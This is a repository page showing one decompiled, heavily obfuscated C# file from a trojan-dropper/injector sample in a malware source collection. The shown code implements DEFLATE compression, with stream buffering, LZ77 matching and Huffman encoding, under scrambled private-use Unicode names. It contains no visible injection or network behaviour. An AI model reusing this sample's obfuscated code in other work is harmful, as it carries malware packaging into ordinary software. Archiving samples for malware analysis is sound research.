MalwareSourceCode/MSIL/Trojan-Dropper/Win32/I/Trojan-Dropper.Win32.Injector.exwr-69a114df5525bb71f18484f15cb4dd44f7c416f26c41b8af17d2ce1b2774383e/.cs
2022-08-18 06:28:56 -05:00

1585 lines
37 KiB
C#
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Feon, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: AF8034ED-5A2C-4122-9E1B-F560737FA983
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.exwr-69a114df5525bb71f18484f15cb4dd44f7c416f26c41b8af17d2ce1b2774383e.exe
using System;
using System.Collections;
using System.IO;
internal sealed class \uE010
{
public sealed class \uE000 : Stream, IDisposable
{
private const int \uE000 = 8192;
private Stream \uE001;
private bool \uE002;
private bool \uE003;
private \uE010.\uE008 \uE004;
private byte[] \uE005;
private int \uE006;
public \uE000(Stream _param1)
: this(_param1, false)
{
}
public \uE000(Stream _param1, bool _param2)
{
this.\uE001 = (_param1 == null ? 0 : 1) != 0 ? _param1 : throw new ArgumentNullException();
label_4:
int num = 1;
while (true)
{
switch (num)
{
case 0:
this.\uE004 = new \uE010.\uE008(_param1);
num = 4;
continue;
case 1:
this.\uE002 = _param2;
num = 2;
continue;
case 2:
this.\uE003 = true;
num = 3;
continue;
case 3:
this.\uE005 = new byte[8192];
num = 0;
continue;
case 4:
goto label_9;
default:
goto label_4;
}
}
label_9:;
}
public Stream \uE000 => this.\uE001;
public override bool CanSeek => false;
public override bool CanRead => false;
public override bool CanWrite => true;
public override long Length => throw new NotImplementedException();
public override long Position
{
get => throw new NotImplementedException();
set => throw new NotImplementedException();
}
public override long Seek(long offset, SeekOrigin origin) => throw new NotImplementedException();
public override void SetLength(long value) => throw new NotImplementedException();
private void \uE000()
{
if (!this.\uE003)
throw new InvalidOperationException("Stream is closed.");
}
public override int Read(byte[] buffer, int offset, int count) => throw new NotSupportedException();
public override void Write(byte[] buffer, int offset, int count)
{
if ((count >= 0 ? 0 : 1) != 0 || count > buffer.Length)
throw new ArgumentOutOfRangeException(nameof (count));
if (offset < 0 || offset > buffer.Length)
throw new ArgumentOutOfRangeException(nameof (offset));
if (offset + count > buffer.Length)
throw new ArgumentException("offset + count out ofȠ͢ѵզ٦ݥ\u0872");
this.\uE000();
if (this.\uE006 + count > 8192)
this.\uE001();
if (count >= 8192)
{
int num;
for (num = 0; count - num > 32768; num += 32768)
this.\uE004.\uE002(buffer, offset + num, 32768, false);
this.\uE004.\uE002(buffer, offset + num, count - num, false);
}
else
{
Array.Copy((Array) buffer, offset, (Array) this.\uE005, this.\uE006, count);
label_15:
int num = 1;
while (true)
{
switch (num)
{
case 0:
if (this.\uE006 == 8192)
{
num = 2;
continue;
}
goto label_19;
case 1:
this.\uE006 += count;
num = 0;
continue;
case 2:
goto label_20;
default:
goto label_15;
}
}
label_19:
return;
label_20:
this.\uE001();
}
}
private void \uE001()
{
if (this.\uE006 <= 0)
return;
label_2:
int num = 0;
while (true)
{
switch (num)
{
case 0:
this.\uE004.\uE002(this.\uE005, 0, this.\uE006, false);
num = 1;
continue;
case 1:
goto label_5;
default:
goto label_2;
}
}
label_5:
this.\uE006 = 0;
}
public override void Flush()
{
this.\uE000();
label_2:
int num = 0;
while (true)
{
switch (num)
{
case 0:
if (this.\uE006 > 0)
{
num = 1;
continue;
}
goto label_6;
case 1:
goto label_5;
default:
goto label_2;
}
}
label_5:
this.\uE001();
label_6:
this.\uE004.\uE001(true, false);
this.\uE000.Flush();
}
private void \uE002()
{
if (this.\uE006 > 0)
{
label_2:
int num = 0;
while (true)
{
switch (num)
{
case 0:
this.\uE004.\uE002(this.\uE005, 0, this.\uE006, true);
num = 1;
continue;
case 1:
goto label_4;
default:
goto label_2;
}
}
label_4:;
}
else
this.\uE004.\uE001(false, true);
}
void IDisposable.Dispose()
{
if ((!this.\uE003 ? 1 : 0) == 0)
{
this.\uE002();
label_3:
int num = 0;
while (true)
{
switch (num)
{
case 0:
this.\uE005 = (byte[]) null;
num = 2;
continue;
case 1:
if (!this.\uE002)
{
num = 3;
continue;
}
goto label_10;
case 2:
this.\uE004 = (\uE010.\uE008) null;
num = 1;
continue;
case 3:
this.\uE001.Close();
num = 4;
continue;
case 4:
goto label_9;
default:
goto label_3;
}
}
label_9:
this.\uE001 = (Stream) null;
label_10:
this.\uE003 = false;
}
this.Close();
}
}
private sealed class \uE008
{
public const int \uE000 = 32768;
private Stream \uE001;
private \uE010.\uE00E \uE002;
private \uE010.\uE00A \uE003;
public \uE008(Stream _param1)
{
this.\uE001 = (_param1 == null ? 0 : 1) != 0 ? _param1 : throw new ArgumentNullException();
label_5:
int num = 0;
while (true)
{
switch (num)
{
case 0:
this.\uE002 = new \uE010.\uE00E(_param1);
num = 1;
continue;
case 1:
this.\uE003 = new \uE010.\uE00A();
num = 2;
continue;
case 2:
goto label_4;
default:
goto label_5;
}
}
label_4:;
}
public Stream \uE000 => this.\uE001;
internal void \uE000(
\uE010.\uE00D _param1,
out int[] _param2,
out int[] _param3,
out int _param4)
{
_param2 = new int[286];
_param3 = new int[30];
_param4 = 0;
int index1 = 0;
int index2 = 0;
if ((index2 == 0 ? 1 : 0) != 0)
goto label_10;
label_1:
ushort index3 = (ushort) _param1.\uE000[index1];
if (index3 <= (ushort) 256)
{
++_param2[(int) index3];
++index1;
}
else
{
++_param2[(int) index3];
label_5:
int num = 0;
while (true)
{
switch (num)
{
case 0:
++_param3[(int) (ushort) _param1.\uE000[index1 + 2]];
num = 2;
continue;
case 1:
_param4 += (int) (byte) _param1.\uE001[index2] + (int) (byte) _param1.\uE001[index2 + 1];
num = 3;
continue;
case 2:
index1 += 4;
num = 1;
continue;
case 3:
goto label_9;
default:
goto label_5;
}
}
label_9:
index2 += 2;
}
label_10:
if (index1 < _param1.\uE000.Count)
goto label_1;
}
public void \uE001(bool _param1, bool _param2)
{
this.\uE002.\uE000(_param2);
if ((!_param1 ? 1 : 0) == 0)
{
this.\uE002.\uE001(0, 2);
label_3:
int num = 0;
while (true)
{
switch (num)
{
case 0:
this.\uE002.\uE003();
num = 2;
continue;
case 1:
this.\uE002.\uE001((int) ushort.MaxValue, 16);
num = 3;
continue;
case 2:
this.\uE002.\uE001(0, 16);
num = 1;
continue;
case 3:
goto label_8;
default:
goto label_3;
}
}
}
else
{
this.\uE002.\uE001(1, 2);
\uE00C obj = \uE00B.\uE011[256];
this.\uE002.\uE002(obj.\uE000, obj.\uE001);
}
label_8:
if (!_param2)
return;
this.\uE002.\uE003();
}
public void \uE002(byte[] _param1, int _param2, int _param3, bool _param4)
{
if (_param3 > 32768)
throw new ArgumentOutOfRangeException();
\uE010.\uE00D obj = this.\uE003.\uE000(_param1, _param2, _param3);
if ((obj == null ? 0 : 1) == 0)
throw new InvalidOperationException();
if (obj.\uE002 != _param3)
throw new InvalidOperationException();
obj.\uE002();
int[] numArray1;
int[] numArray2;
int num1;
this.\uE000(obj, out numArray1, out numArray2, out num1);
int[] numArray3 = \uE00B.\uE00B(numArray1);
int[] numArray4 = \uE00B.\uE00B(numArray2);
int num2 = (4 + _param3) * 8;
int num3 = this.\uE002.\uE001 >= 3 ? num2 + (this.\uE002.\uE001 - 3) : num2 + (5 + this.\uE002.\uE001);
int num4 = \uE00B.\uE000(numArray3, numArray1) + \uE00B.\uE000(numArray4, numArray2) + num1;
int num5 = \uE00B.\uE001(numArray3, numArray4) + num1;
bool flag1 = num5 <= num4 || num3 <= num4;
if (!flag1)
{
int num6 = num4 + this.\uE006(numArray3, numArray4);
flag1 = num5 <= num6 || num3 <= num6;
}
bool flag2 = num3 < num5;
this.\uE002.\uE000(_param4);
if (flag2 && flag1)
{
this.\uE002.\uE001(0, 2);
label_11:
int num7 = 3;
int num8;
int num9;
while (true)
{
switch (num7)
{
case 0:
this.\uE002.\uE003();
num7 = 6;
continue;
case 1:
this.\uE002.\uE001(num8, 16);
num7 = 2;
continue;
case 2:
this.\uE002.\uE001(num9, 16);
num7 = 0;
continue;
case 3:
this.\uE002.\uE003();
num7 = 5;
continue;
case 4:
num9 = ~_param3 & (int) ushort.MaxValue;
num7 = 1;
continue;
case 5:
num8 = _param3;
num7 = 4;
continue;
case 6:
this.\uE004(_param1, _param2, _param3);
num7 = 7;
continue;
case 7:
goto label_23;
default:
goto label_11;
}
}
}
else
{
\uE00C[] objArray1;
\uE00C[] objArray2;
if (flag1)
{
this.\uE002.\uE001(1, 2);
objArray1 = \uE00B.\uE011;
objArray2 = \uE00B.\uE012;
}
else
{
this.\uE002.\uE001(2, 2);
this.\uE005(numArray3, numArray4);
objArray1 = \uE00B.\uE002(numArray3);
objArray2 = \uE00B.\uE002(numArray4);
}
this.\uE003(obj, objArray1, objArray2);
}
label_23:
if (!_param4)
return;
this.\uE002.\uE003();
}
private void \uE003(\uE010.\uE00D _param1, \uE00C[] _param2, \uE00C[] _param3)
{
int index1 = 0;
int index2 = 0;
if ((index2 == 0 ? 1 : 0) != 0)
goto label_15;
label_1:
int index3 = (int) (ushort) _param1.\uE000[index1];
if (index3 <= 256)
{
\uE00C obj = _param2[index3];
this.\uE002.\uE002(obj.\uE000, obj.\uE001);
++index1;
}
else
{
\uE00C obj = _param2[index3];
this.\uE002.\uE002(obj.\uE000, obj.\uE001);
if ((byte) _param1.\uE001[index2] > (byte) 0)
this.\uE002.\uE001((int) (ushort) _param1.\uE000[index1 + 1], (int) (byte) _param1.\uE001[index2]);
int index4 = index1 + 2;
label_7:
int num = 3;
while (true)
{
switch (num)
{
case 0:
obj = _param3[(int) (ushort) _param1.\uE000[index4]];
num = 2;
continue;
case 1:
if ((byte) _param1.\uE001[index2] > (byte) 0)
{
num = 4;
continue;
}
goto label_14;
case 2:
this.\uE002.\uE002(obj.\uE000, obj.\uE001);
num = 1;
continue;
case 3:
++index2;
num = 0;
continue;
case 4:
goto label_13;
default:
goto label_7;
}
}
label_13:
this.\uE002.\uE001((int) (ushort) _param1.\uE000[index4 + 1], (int) (byte) _param1.\uE001[index2]);
label_14:
index1 = index4 + 2;
++index2;
}
label_15:
if (index1 < _param1.\uE000.Count)
goto label_1;
}
private void \uE004(byte[] _param1, int _param2, int _param3) => this.\uE000.Write(_param1, _param2, _param3);
private void \uE005(int[] _param1, int[] _param2)
{
int[] numArray1 = new int[19];
int num1 = 286;
if ((num1 == 0 ? 0 : 1) != 0)
goto label_2;
label_1:
--num1;
label_2:
if (num1 <= 257 || _param1[num1 - 1] != 0)
{
int length = 30;
while (length > 1 && _param2[length - 1] == 0)
--length;
int[] destinationArray = new int[num1 + length];
Array.Copy((Array) _param1, 0, (Array) destinationArray, 0, num1);
Array.Copy((Array) _param2, 0, (Array) destinationArray, num1, length);
int[] numArray2 = \uE00B.\uE00D(destinationArray, 0, destinationArray.Length);
for (int index = 0; index < numArray2.Length; ++index)
{
++numArray1[numArray2[index]];
if (numArray2[index] >= 16)
++index;
}
int[] numArray3 = \uE00B.\uE00A(numArray1, 7);
int[] numArray4 = \uE00B.\uE014;
int num2 = 19;
while (num2 > 4 && numArray3[numArray4[num2 - 1]] == 0)
--num2;
int num3 = num1 - 257;
label_16:
int num4 = 2;
int num5;
int num6;
\uE00C[] objArray;
int index1;
while (true)
{
switch (num4)
{
case 0:
this.\uE002.\uE001(num3, 5);
num4 = 5;
continue;
case 1:
num5 = num2 - 4;
num4 = 4;
continue;
case 2:
num6 = length - 1;
num4 = 1;
continue;
case 3:
this.\uE002.\uE001(num5, 4);
num4 = 6;
continue;
case 4:
objArray = \uE00B.\uE002(numArray3);
num4 = 0;
continue;
case 5:
this.\uE002.\uE001(num6, 5);
num4 = 3;
continue;
case 6:
index1 = 0;
num4 = 7;
continue;
case 7:
goto label_26;
default:
goto label_16;
}
}
label_26:
for (; index1 < num2; ++index1)
this.\uE002.\uE001(numArray3[numArray4[index1]], 3);
for (int index2 = 0; index2 < numArray2.Length; ++index2)
{
int index3 = numArray2[index2];
\uE00C obj = objArray[index3];
this.\uE002.\uE002(obj.\uE000, obj.\uE001);
if (index3 >= 16)
{
++index2;
this.\uE002.\uE001(numArray2[index2], \uE00B.\uE00C(index3));
}
}
}
else
goto label_1;
}
private int \uE006(int[] _param1, int[] _param2)
{
int[] numArray1 = new int[19];
int num1 = 0;
int num2 = 286;
if ((num2 == 0 ? 0 : 1) != 0)
goto label_2;
label_1:
--num2;
label_2:
if (num2 <= 257 || _param1[num2 - 1] != 0)
{
int[] numArray2 = \uE00B.\uE00D(_param1, 0, num2);
label_12:
for (int index = 0; index < numArray2.Length; ++index)
{
++numArray1[numArray2[index]];
label_6:
int num3 = 0;
while (true)
{
switch (num3)
{
case 0:
if (numArray2[index] >= 16)
{
num3 = 1;
continue;
}
goto label_12;
case 1:
num1 += \uE00B.\uE00C(numArray2[index]);
num3 = 2;
continue;
case 2:
goto label_10;
default:
goto label_6;
}
}
label_10:
++index;
}
int num4 = 30;
while (num4 > 1 && _param2[num4 - 1] == 0)
--num4;
int[] numArray3 = \uE00B.\uE00D(_param2, 0, num4);
for (int index = 0; index < numArray3.Length; ++index)
{
++numArray1[numArray3[index]];
if (numArray3[index] >= 16)
{
num1 += \uE00B.\uE00C(numArray3[index]);
++index;
}
}
int[] numArray4 = \uE00B.\uE00B(numArray1);
int num5 = \uE00B.\uE000(numArray1, numArray4);
int[] numArray5 = \uE00B.\uE014;
int num6 = 19;
while (num6 > 4 && numArray4[numArray5[num6 - 1]] == 0)
--num6;
return 14 + (num6 - 4 + 4) * 3 + num5 + num1;
}
goto label_1;
}
}
private sealed class \uE009
{
public static readonly \uE010.\uE009 \uE000;
public int \uE001;
public int \uE002;
public int \uE003;
public int \uE004;
static \uE009()
{
\uE010.\uE009 obj = new \uE010.\uE009();
label_2:
int num = 2;
while (true)
{
switch (num)
{
case 0:
obj.\uE002 = 32;
num = 1;
continue;
case 1:
obj.\uE003 = 128;
num = 3;
continue;
case 2:
obj.\uE001 = 8;
num = 0;
continue;
case 3:
obj.\uE004 = 256;
num = 4;
continue;
case 4:
\uE010.\uE009.\uE000 = obj;
num = 5;
continue;
case 5:
goto label_8;
default:
goto label_2;
}
}
label_8:;
}
}
private sealed class \uE00A
{
private const int \uE000 = 258;
private const int \uE001 = 32768;
private \uE010.\uE00C \uE002;
private \uE010.\uE00B \uE003;
private \uE010.\uE009 \uE004;
private int \uE005;
internal \uE00A()
: this(\uE010.\uE009.\uE000)
{
}
internal \uE00A(\uE010.\uE009 _param1)
{
this.\uE004 = _param1;
label_2:
int num = 2;
while (true)
{
switch (num)
{
case 0:
this.\uE003 = new \uE010.\uE00B(32768);
num = 1;
continue;
case 1:
this.\uE005 = 0;
num = 3;
continue;
case 2:
this.\uE002 = new \uE010.\uE00C(65536);
num = 0;
continue;
case 3:
goto label_6;
default:
goto label_2;
}
}
label_6:;
}
internal \uE010.\uE009 \uE000 => this.\uE004;
public \uE010.\uE00D \uE000(byte[] _param1, int _param2, int _param3)
{
if (this.\uE002.\uE002 + _param3 > this.\uE002.\uE001)
{
int num = this.\uE002.\uE002 - 32768;
this.\uE002.\uE001(num);
if ((this.\uE005 >= num ? 0 : 1) == 0)
{
this.\uE005 -= num;
}
else
{
this.\uE003.\uE003(num - this.\uE005);
this.\uE005 = 0;
}
}
int num1 = this.\uE002.\uE002;
label_6:
int num2 = 1;
while (true)
{
switch (num2)
{
case 0:
if (this.\uE005 < num1)
{
num2 = 2;
continue;
}
goto label_11;
case 1:
this.\uE002.\uE000(_param1, _param2, _param3);
num2 = 0;
continue;
case 2:
goto label_10;
default:
goto label_6;
}
}
label_10:
this.\uE003.\uE002(this.\uE002.\uE000, this.\uE005, num1 - this.\uE005);
label_11:
return this.\uE000.\uE003 > 0 ? this.\uE002(this.\uE003, this.\uE002.\uE000, num1, _param3, out this.\uE005) : this.\uE001(this.\uE002.\uE000, num1, _param3);
}
private \uE010.\uE00D \uE001(byte[] _param1, int _param2, int _param3)
{
\uE010.\uE00D obj = new \uE010.\uE00D();
label_2:
int num1 = 2;
int index;
while (true)
{
switch (num1)
{
case 0:
index = 0;
num1 = 1;
continue;
case 1:
if (index != 0)
{
num1 = 3;
continue;
}
goto label_8;
case 2:
obj.\uE000.Capacity = _param3 + 1;
num1 = 0;
continue;
case 3:
goto label_7;
default:
goto label_2;
}
}
label_7:
int num2 = 0;
goto label_9;
label_8:
num2 = 1;
label_9:
if (num2 != 0)
goto label_11;
label_10:
obj.\uE000(_param1[index]);
++index;
label_11:
if (index >= _param3)
return obj;
goto label_10;
}
private \uE010.\uE00D \uE002(
\uE010.\uE00B _param1,
byte[] _param2,
int _param3,
int _param4,
out int _param5)
{
\uE010.\uE00D obj1 = new \uE010.\uE00D();
object obj2 = (object) null;
int num1 = 0;
if ((num1 == 0 ? 1 : 0) != 0)
goto label_18;
label_1:
\uE010.\uE00B.\uE000 obj3 = _param1.\uE000(_param2, _param3 + num1);
if (obj3 != null)
{
object obj4;
if (obj2 != null)
{
obj4 = obj2;
obj2 = (object) null;
}
else
obj4 = (object) this.\uE003(_param2, _param3, _param4, num1, obj3, 3);
\uE010.\uE00A.\uE000 obj5 = (\uE010.\uE00A.\uE000) obj4;
bool flag = obj5.\uE001 >= 3;
if (flag && num1 < _param4 - 3 && obj5.\uE001 < this.\uE004.\uE002)
{
\uE010.\uE00B.\uE000 obj6 = _param1.\uE000(_param2, _param3 + num1 + 1);
if (obj6 != null)
{
\uE010.\uE00A.\uE000 obj7 = this.\uE003(_param2, _param3, _param4, num1 + 1, obj6, obj5.\uE001 + 1);
if (obj7.\uE001 > obj5.\uE001)
{
obj2 = (object) obj7;
flag = false;
}
}
}
if (flag)
{
obj1.\uE001(num1 - obj5.\uE000, obj5.\uE001);
label_12:
int num2 = 2;
while (true)
{
switch (num2)
{
case 0:
num1 += obj5.\uE001;
num2 = 1;
continue;
case 1:
_param1.\uE003(obj5.\uE001 - 1);
num2 = 3;
continue;
case 2:
_param1.\uE001(_param2, _param3 + num1);
num2 = 0;
continue;
case 3:
goto label_18;
default:
goto label_12;
}
}
}
else
{
obj1.\uE000(_param2[_param3 + num1]);
_param1.\uE001(_param2, _param3 + num1);
++num1;
}
}
else
{
obj1.\uE000(_param2[_param3 + num1]);
_param1.\uE001(_param2, _param3 + num1);
++num1;
}
label_18:
if (num1 >= _param4 - 2)
{
_param5 = _param3 + num1;
for (; num1 < _param4; ++num1)
obj1.\uE000(_param2[_param3 + num1]);
return obj1;
}
goto label_1;
}
private \uE010.\uE00A.\uE000 \uE003(
byte[] _param1,
int _param2,
int _param3,
int _param4,
\uE010.\uE00B.\uE000 _param5,
int _param6)
{
int num1 = this.\uE004.\uE004;
label_2:
int num2 = 4;
int num3;
int num4;
int num5;
int num6;
int num7;
while (true)
{
switch (num2)
{
case 0:
num3 = _param2 + _param4;
num2 = 5;
continue;
case 1:
num4 = -1;
num2 = 3;
continue;
case 2:
num5 = _param6 - 1;
num2 = 0;
continue;
case 3:
num6 = 0;
num2 = 2;
continue;
case 4:
num7 = 0;
num2 = 1;
continue;
case 5:
goto label_17;
default:
goto label_2;
}
}
label_17:
while (_param5.\uE000())
{
int num8 = 0;
int num9 = _param4 - _param5.\uE000;
if (_param4 + num5 < _param3)
{
int num10 = _param2 + num9;
if ((int) _param1[num10 + num5] == (int) _param1[num3 + num5])
{
while (num8 < 258 && _param4 + num8 < _param3 && (int) _param1[num10 + num8] == (int) _param1[num3 + num8])
++num8;
if ((num8 >= num7 ? 0 : 1) == 0)
{
num7 = num8;
num5 = num8;
num4 = num9;
if (num7 >= this.\uE004.\uE003)
break;
}
if (num7 >= this.\uE004.\uE001)
num1 >>= 2;
}
if (++num6 >= num1)
break;
}
else
break;
}
return new \uE010.\uE00A.\uE000()
{
\uE001 = num7,
\uE000 = num4
};
}
private struct \uE000
{
public int \uE000;
public int \uE001;
}
}
private sealed class \uE00B
{
private const int \uE000 = 16777216;
private const int \uE001 = 256;
private const ushort \uE002 = 65535;
private const ushort \uE003 = 0;
private int \uE004;
private ushort[] \uE005;
private int[] \uE006;
private int \uE007;
internal \uE00B(int _param1)
{
this.\uE004 = _param1;
label_2:
int num1 = 0;
int index;
while (true)
{
switch (num1)
{
case 0:
this.\uE005 = new ushort[this.\uE004];
num1 = 1;
continue;
case 1:
this.\uE006 = new int[256];
num1 = 3;
continue;
case 2:
if (index != 0)
{
num1 = 4;
continue;
}
goto label_9;
case 3:
index = 0;
num1 = 2;
continue;
case 4:
goto label_8;
default:
goto label_2;
}
}
label_8:
int num2 = 0;
goto label_10;
label_9:
num2 = 1;
label_10:
if (num2 != 0)
goto label_12;
label_11:
this.\uE006[index] = (int) ushort.MaxValue;
++index;
label_12:
if (index < 256)
goto label_11;
}
internal \uE010.\uE00B.\uE000 \uE000(byte[] _param1, int _param2)
{
int index = \uE010.\uE00B.\uE004(_param1, _param2);
label_2:
int num = 0;
while (true)
{
switch (num)
{
case 0:
if (this.\uE006[index] != (int) ushort.MaxValue)
{
num = 1;
continue;
}
goto label_7;
case 1:
if (this.\uE007 - this.\uE006[index] > this.\uE004)
{
num = 2;
continue;
}
goto label_8;
case 2:
goto label_7;
default:
goto label_2;
}
}
label_7:
return (\uE010.\uE00B.\uE000) null;
label_8:
return new \uE010.\uE00B.\uE000(this, this.\uE007 - this.\uE006[index]);
}
internal void \uE001(byte[] _param1, int _param2)
{
int index1 = \uE010.\uE00B.\uE004(_param1, _param2);
this.\uE005[this.\uE007 % this.\uE004] = this.\uE006[index1] == (int) ushort.MaxValue || (this.\uE007 - this.\uE006[index1] >= this.\uE004 ? 0 : 1) == 0 ? (ushort) 0 : (ushort) (this.\uE007 - this.\uE006[index1]);
this.\uE006[index1] = this.\uE007;
label_2:
int num1 = 3;
int num2;
int index2;
int num3;
while (true)
{
switch (num1)
{
case 0:
num2 = this.\uE007 - this.\uE004;
num1 = 4;
continue;
case 1:
index2 = 0;
num1 = 5;
continue;
case 2:
if (num3 >= 16777216)
{
num1 = 0;
continue;
}
goto label_14;
case 3:
num3 = ++this.\uE007;
num1 = 2;
continue;
case 4:
num2 -= num2 % this.\uE004;
num1 = 1;
continue;
case 5:
goto label_13;
default:
goto label_2;
}
}
label_14:
return;
label_13:
for (; index2 < this.\uE006.Length; ++index2)
{
if (this.\uE006[index2] >= num2)
this.\uE006[index2] -= num2;
else
this.\uE006[index2] = 0;
}
this.\uE007 -= num2;
}
internal void \uE002(byte[] _param1, int _param2, int _param3)
{
int num1 = 0;
if ((num1 == 0 ? 1 : 0) != 0)
goto label_6;
else
goto label_3;
label_2:
int num2;
switch (num2)
{
case 0:
goto label_4;
case 1:
++num1;
goto label_6;
}
label_3:
num2 = 0;
goto label_2;
label_4:
this.\uE001(_param1, _param2 + num1);
num2 = 1;
goto label_2;
label_6:
if (num1 < _param3)
goto label_4;
}
internal void \uE003(int _param1) => this.\uE007 += _param1;
private static int \uE004(byte[] _param0, int _param1) => (int) (byte) ((uint) _param0[_param1] + (uint) _param0[_param1 + 1] + (uint) _param0[_param1 + 2]);
internal sealed class \uE000
{
private \uE010.\uE00B \uE000;
private int \uE001;
private int \uE002;
internal \uE000(\uE010.\uE00B _param1, int _param2)
{
this.\uE000 = _param1;
this.\uE001 = _param2;
}
internal int \uE000 => this.\uE001;
internal bool \uE000()
{
if ((this.\uE002 == 0 ? 0 : 1) == 0)
{
this.\uE002 = 1;
return true;
}
if (this.\uE002 == 1)
{
ushort num1 = this.\uE000.\uE005[(this.\uE000.\uE007 - this.\uE001) % this.\uE000.\uE004];
label_5:
int num2 = 1;
while (true)
{
switch (num2)
{
case 0:
if (this.\uE001 <= this.\uE000.\uE004)
{
num2 = 3;
continue;
}
goto label_12;
case 1:
if (num1 != (ushort) 0)
{
num2 = 2;
continue;
}
goto label_12;
case 2:
this.\uE001 += (int) num1;
num2 = 0;
continue;
case 3:
goto label_11;
default:
goto label_5;
}
}
label_11:
return true;
label_12:
this.\uE002 = 2;
}
return false;
}
}
}
private sealed class \uE00C
{
private int \uE000;
private byte[] \uE001;
private int \uE002;
public \uE00C(int _param1)
{
this.\uE000 = _param1;
this.\uE001 = new byte[_param1];
this.\uE002 = 0;
}
public byte[] \uE000 => this.\uE001;
public int \uE001 => this.\uE000;
public int \uE002 => this.\uE002;
public void \uE000(byte[] _param1, int _param2, int _param3)
{
Array.Copy((Array) _param1, _param2, (Array) this.\uE001, this.\uE002, _param3);
label_2:
int num = 0;
while (true)
{
switch (num)
{
case 0:
this.\uE002 += _param3;
num = 1;
continue;
case 1:
goto label_4;
default:
goto label_2;
}
}
label_4:;
}
public void \uE001(int _param1)
{
Array.Copy((Array) this.\uE001, _param1, (Array) this.\uE001, 0, this.\uE002 - _param1);
label_2:
int num = 0;
while (true)
{
switch (num)
{
case 0:
this.\uE002 -= _param1;
num = 1;
continue;
case 1:
goto label_4;
default:
goto label_2;
}
}
label_4:;
}
}
private sealed class \uE00D
{
internal ArrayList \uE000 = new ArrayList();
internal ArrayList \uE001 = new ArrayList();
internal int \uE002;
public void \uE000(byte _param1)
{
this.\uE000.Add((object) (ushort) _param1);
++this.\uE002;
}
public void \uE001(int _param1, int _param2)
{
if ((_param1 >= 1 ? 0 : 1) != 0 || _param1 > 32768)
throw new ArgumentOutOfRangeException();
if (_param2 < 3 || _param2 > 258)
throw new ArgumentOutOfRangeException();
int num1;
int num2;
int num3;
\uE00B.\uE008(_param2, out num1, out num2, out num3);
label_6:
int num4 = 6;
int num5;
int num6;
int num7;
while (true)
{
switch (num4)
{
case 0:
this.\uE000.Add((object) (ushort) num2);
num4 = 4;
continue;
case 1:
this.\uE000.Add((object) (ushort) num5);
num4 = 7;
continue;
case 2:
this.\uE000.Add((object) (ushort) num1);
num4 = 0;
continue;
case 3:
this.\uE001.Add((object) (byte) num6);
num4 = 5;
continue;
case 4:
this.\uE001.Add((object) (byte) num3);
num4 = 1;
continue;
case 5:
this.\uE002 += _param2;
num4 = 8;
continue;
case 6:
\uE00B.\uE009(_param1, out num5, out num7, out num6);
num4 = 2;
continue;
case 7:
this.\uE000.Add((object) (ushort) num7);
num4 = 3;
continue;
case 8:
goto label_15;
default:
goto label_6;
}
}
label_15:;
}
internal void \uE002() => this.\uE000.Add((object) (ushort) 256);
}
private sealed class \uE00E
{
private uint \uE000;
private int \uE001;
private Stream \uE002;
internal \uE00E(Stream _param1) => this.\uE002 = _param1;
internal Stream \uE000 => this.\uE002;
internal int \uE001 => (32 - this.\uE001) % 8;
internal void \uE000(bool _param1) => this.\uE001(_param1 ? 1 : 0, 1);
internal void \uE001(int _param1, int _param2)
{
uint num1 = this.\uE000 | checked ((uint) _param1) << this.\uE001;
int num2;
for (num2 = this.\uE001 + _param2; num2 >= 8; num2 -= 8)
{
this.\uE000.WriteByte((byte) num1);
num1 >>= 8;
}
label_5:
int num3 = 0;
while (true)
{
switch (num3)
{
case 0:
this.\uE000 = num1;
num3 = 1;
continue;
case 1:
this.\uE001 = num2;
num3 = 2;
continue;
case 2:
goto label_3;
default:
goto label_5;
}
}
label_3:;
}
internal void \uE002(int _param1, int _param2)
{
int num1 = 0;
label_7:
for (int index = _param2 - 1; index >= 0; --index)
{
num1 <<= 1;
label_3:
int num2 = 0;
while (true)
{
switch (num2)
{
case 0:
num1 |= _param1 & 1;
num2 = 1;
continue;
case 1:
_param1 >>= 1;
num2 = 2;
continue;
case 2:
goto label_7;
default:
goto label_3;
}
}
}
this.\uE001(num1, _param2);
}
internal void \uE003()
{
if (this.\uE001 <= 0)
return;
label_2:
int num = 0;
while (true)
{
switch (num)
{
case 0:
this.\uE000.WriteByte((byte) this.\uE000);
num = 1;
continue;
case 1:
this.\uE000 = 0U;
num = 2;
continue;
case 2:
goto label_6;
default:
goto label_2;
}
}
label_6:
this.\uE001 = 0;
}
}
}